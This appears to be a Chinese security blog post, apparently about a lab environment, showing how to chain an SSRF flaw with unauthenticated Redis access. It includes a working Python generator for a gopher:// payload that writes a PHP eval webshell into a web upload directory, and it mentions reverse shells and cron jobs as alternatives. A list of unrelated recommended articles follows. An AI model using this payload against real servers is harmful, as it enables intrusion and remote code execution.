组合拳SSRF+redis未授权访问

2023-09-15 21:05:04

目录

一、SSRF

二、redis未授权访问

三、组合利用

1.写入Webshell

2.反弹shell


一、SSRF

一台web服务器对其他服务器发起请求,以加载其他服务器的web内容或数据

但因请求参数没有进行严格过滤,攻击者可能会通过SSRF漏洞来访问敏感数据、执行未经授权的操作,或者将服务器用于发起攻击其他系统的请求。

二、redis未授权访问

redis数据库如果布置在公网,也就是0.0.0.0,并且没有设置密码,那攻击者可以直接访问redis数据库,通过redis数据库的持久化直接写入后门

如果是绑定在127.0.0.1上,我们直接访问是不行的,所以可以通过ssrf漏洞去访问本地的redis

三、组合利用

通过phpinfo可以发现ip为172.28.0.3,探测172.28.0.2服务器,发现存活

前面的步骤就不仔细讲了,主要是讲通过redis如何写入后门

发现ssrf后,利用bp爆破端口,可以发现6379端口返回了redis的报错信息,说明有redis未授权

那么我们可以直接写入后门,这时有三种方法

1.写入Webshell

这时我们可以在其web目录下通过redis写入后门,但发现不能直接在/var/www/html目录下面写

dirb爆破目录发现有upload目录,那可以写到upload目录下

通过Python脚本或者Gopher-master生成payload

import urllib.parse

protocol = "gopher://"
ip = "172.22.0.2"  # 运行着redis的内网主机ip
port = "6379"
shell = "\n\n<?php eval($_GET[123]); ?>\n\n"
filename = "shell.php"
path = "/var/www/html/upload"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(shell.replace(" ", "${IFS}")),
       "config set dir {}".format(path),
       "config set dbfilename {}".format(filename),
       "save"
       ]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
        cmd += CRLF
    return cmd

if __name__ == "__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
print(payload)

链接:https://pan.baidu.com/s/153ti5n69QI_CPhUta1WpbA?pwd=9peq 
提取码:9peq

生成后还需要进行一次urlcode编码,因为生成出来的payload是gopher协议的url编码,所以我们放到浏览器中还需要进行一次urlcode编码

 

2.反弹shell

和写入Webshell一样,只是把system里面的语句换成反弹shell的语句就行

也可以写入计划任务 

更多推荐

Android 小组件 AppWidgetProvider

一、相关文档二、小组件是什么?三、AppWidget核心类AppWidgetProvider源码解读和原理分析1、先看AppWidgetProvider源码2、AppWidgetProvider回调方法分析onUpdate(Contextcontext,AppWidgetManagerappWidgetManager,

基于Kubernetes的Serverless PaaS稳定性建设万字总结

作者:许成铭(竞霄)数字经济的今天,云计算俨然已经作为基础设施融入到人们的日常生活中,稳定性作为云产品的基本要求,研发人员的技术底线,其不仅仅是文档里承诺的几个九的SLA数字,更是与客户切身利益乃至身家性命息息相关,稳定性压倒一切。本文将侧重于实际落地而非方法论,阐述云产品SAE业务侧稳定性实际建设过程中的经验和思考。

【milkv】st7735驱动

前言本文介绍milkv-duo加载st7735的lcd屏幕,以及屏幕显示log。参考文章:记录为Linux配置spi屏幕(st7735s)https://community.milkv.io/t/milk-v-duo-spi-st7789/131一、电路图1.1pin设置打开spi2的引脚duo-buildroot-s

怎么压缩ppt大小?快速压缩ppt文件

怎么压缩ppt大小?在工作或生活中,ppt文件对于我们必不可少,我们用它编写工作总结或者会议提纲,非常的好用,深受大家的喜欢。由于使用比较频繁,所以常常会遇到PPT文件过大的情况,ppt文件太大使用起来会造成很大的不便,这时候就需要对ppt文进行压缩,压缩的目的就是将它的体积变小一点。然而,许多人并不清楚如何缩小PPT

海外ASO优化之提高应用曝光度的技巧1

作为应用程序的开发者,如何使我们的应用在众多竞争对手中脱颖而出?如何应用在AppStore搜索中排名更高,以确保它符合AppStore搜索中的搜索意图?这些都是我们要重点考虑的。1、做好应用程序描述。在填写应用描述之前,需要了解我们的应用有哪些特点和功能,或者是能够给用户解决哪些问题。此外我们还可以添加一些具有创意的屏

网络地址转换技术NAT以及路由器LAN口与WAN口的数据交换

NAT技术网络地址转换(NAT)技术可以帮助局域网设备通过私有IP地址访问互联网。以下是NAT技术如何实现这一功能的基本原理:私有IP地址:在一个局域网中,通常使用私有IP地址来为设备分配网络标识。私有IP地址范围包括以下几个常见的子网,如10.0.0.0/8、172.16.0.0/12和192.168.0.0/16。

Leetcode 01-算法入门与数组-②数组基础

LeetCode01-算法入门与数组-②数组基础一.数组基础知识1.数组简介1.1数组定义数组(Array):一种线性表数据结构。它使用一组连续的内存空间,来存储一组具有相同类型的数据。简单来说,「数组」是实现线性表的顺序结构存储的基础。以整数数组为例,数组的存储方式如下图所示。如上图所示,假设数据元素的个数为nnn,

结构型模式-代理模式

一个类代表另一个类的功能。这种类型的设计模式属于结构型模式。在代理模式中,我们创建具有现有对象的对象,以便向外界提供功能接口。意图:为其他对象提供一种代理以控制对这个对象的访问。主要解决:在直接访问对象时带来的问题,比如说:要访问的对象在远程的机器上。在面向对象系统中,有些对象由于某些原因(比如对象创建开销很大,或者某

2023年8月京东平板电视行业品牌销售排行榜(京东商品数据)

鲸参谋监测的京东平台8月份平板电视市场销售数据已出炉!根据鲸参谋电商数据分析平台的相关数据显示,8月份,京东平台上平板电视的销量为76万,环比下滑约12%,同比下滑约36%;销售额为20亿+,环比下滑约10%,同比下滑约20%。从销量销额来看,平板电视市场当月整体呈现下滑趋势。但从价格角度来看,平板电视的市场均价上涨,

形式化验证方法研究综述

摘要:形式化验证是证明软件、硬件或系统正确性的一种方法,近年来受到了越来越多的关注。本文对形式化验证的研究进行了综述。首先介绍了形式化验证的基本概念,然后重点介绍了形式化验证的三种技术,包括模型检测、定理证明和等价性验证等。此外,通过两篇论文介绍了形式化验证在软件和硬件系统开发中的应用和实现、形式化验证工具的发展和使用

chk文件怎么恢复?chk文件恢复软件哪个好?

电脑中的每个文件都有其不同的后缀名,如.txt、.png等等,那么你知道.chk后缀的文件是什么吗?下面我们就来一起了解一下吧。chk文件的含义chk文件是用户在使用磁盘碎片整理程序后所产生的丢失簇的恢复文件,磁盘中的原文件并没有丢失,而是变成了chk文件,并被存放在FOUND.000文件夹中。另外,移动存储设备在使用

热文推荐